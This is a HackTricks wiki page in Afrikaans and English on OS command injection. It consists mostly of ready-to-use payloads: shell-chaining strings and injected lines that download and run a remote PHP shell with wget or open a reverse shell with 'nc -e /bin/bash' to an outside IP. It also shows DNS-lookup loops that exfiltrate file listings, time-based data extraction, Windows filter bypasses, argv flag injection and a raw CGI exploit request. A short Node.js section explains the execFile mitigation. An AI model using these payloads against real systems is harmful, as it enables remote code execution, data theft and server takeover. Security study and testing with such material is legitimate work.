Command Injection
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is command Injection?
A command injection maak dit moontlik vir ân attacker om arbitrĂȘre bedryfstelsel-opdragte uit te voer op die server wat ân toepassing huisves. Gevolglik kan die toepassing en al sy data ten volle gekompromitteer word. Die uitvoering van hierdie opdragte laat gewoonlik die attacker toe om ongemagtigde toegang tot, of beheer oor, die toepassing se omgewing en die onderliggende stelsel te verkry.
Konteks
Afhangende van waar jou invoer ingevoeg word mag jy die geciteerde konteks beëindig (deur " of ' te gebruik) voordat die opdragte uitgevoer word.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2Âș if 1Âș finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2Âș
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Beperking Bypasses
As jy probeer om arbitrĂȘre opdragte binne ân linux masjien uit te voer, sal jy belangstel om oor hierdie Bypasses te lees:
Voorbeelde
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Parameters
Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortgelyke RCE vulnerabilities (van link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Uittrekking van data: char by char
swissky@crashlabâž ~ âž $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlabâž ~ âž $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS-gebaseerde data exfiltration
Gebaseer op die hulpmiddel van https://github.com/HoLyVieR/dnsbin, ook gehost op dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Aanlyn-gereedskap om DNS-gebaseerde data-ekfiltrasie te kontroleer:
- dnsbin.zhack.ca
- pingb.in
Omseiling van filtrering
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Wanneer jy JavaScript/TypeScript back-ends oudit, sal jy dikwels die Node.js child_process API teëkom.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* ⊠*/
});
exec() skep ân shell (/bin/sh -c), daarom sal enige karakter wat ân spesiale betekenis vir die shell het (back-ticks, ;, &&, |, $(), âŠ) lei tot command injection wanneer gebruikersinvoer aan die string gekonkateneer word.
Versagting: gebruik execFile() (of spawn() sonder die shell option) en verskaf elke argument as ân aparte array-element sodat geen shell betrokke is nie:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Werklike geval: Synology Photos †1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Nie alle injections vereis shell metacharacters nie. As die toepassing onbetroubare stringe as argumente aan ân system utility deurgee (selfs met execve/execFile en geen shell nie), sal baie programme steeds enige argument wat met - of -- begin as ân opsie interpreteer. Dit laat ân aanvaller toe om modusse om te skakel, uitvoerpaaie te verander, of gevaarlike gedrag te aktiveer sonder ooit ân shell binne te dring.
Tipiese plekke waar dit voorkom:
- Ingebedde web UIs/CGI handlers wat opdragte bou soos
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, ens. - Gekentraliseerde CGI-routers (bv.
/cgi-bin/<something>.cgimet ân selekteerder-parameter soostopicurl=<handler>) waar verskeie handlers dieselfde swak validator hergebruik.
Wat om te probeer:
- Gee waardes wat met
-/--begin sodat die stroomaf hulpmiddel dit as flags kan verbruik. - Misbruik flags wat gedrag verander of lĂȘers skryf, byvoorbeeld:
ping:-f/-c 100000om die toestel te belas (DoS)curl:-o /tmp/xom arbitrĂȘre paaie te skryf,-K <url>om aanvaller-beheerde config te laaitcpdump:-G 1 -W 1 -z /path/script.shom post-rotate-uitvoering in onveilige wrappers te bewerkstellig
- As die program
--end-of-options ondersteun, probeer om naĂŻewe mitigasies te omseil wat--op die verkeerde plek voorvoeg.
Generiese PoC-vorme teen gekentraliseerde CGI-dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
Brute-Force Opsporingslys
Verwysings
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives â Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR â Command Injection â Root via ISPConfig (CVEâ2023â46818)
- Unit 42 â TOTOLINK X6000R: Three New Vulnerabilities Uncovered
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

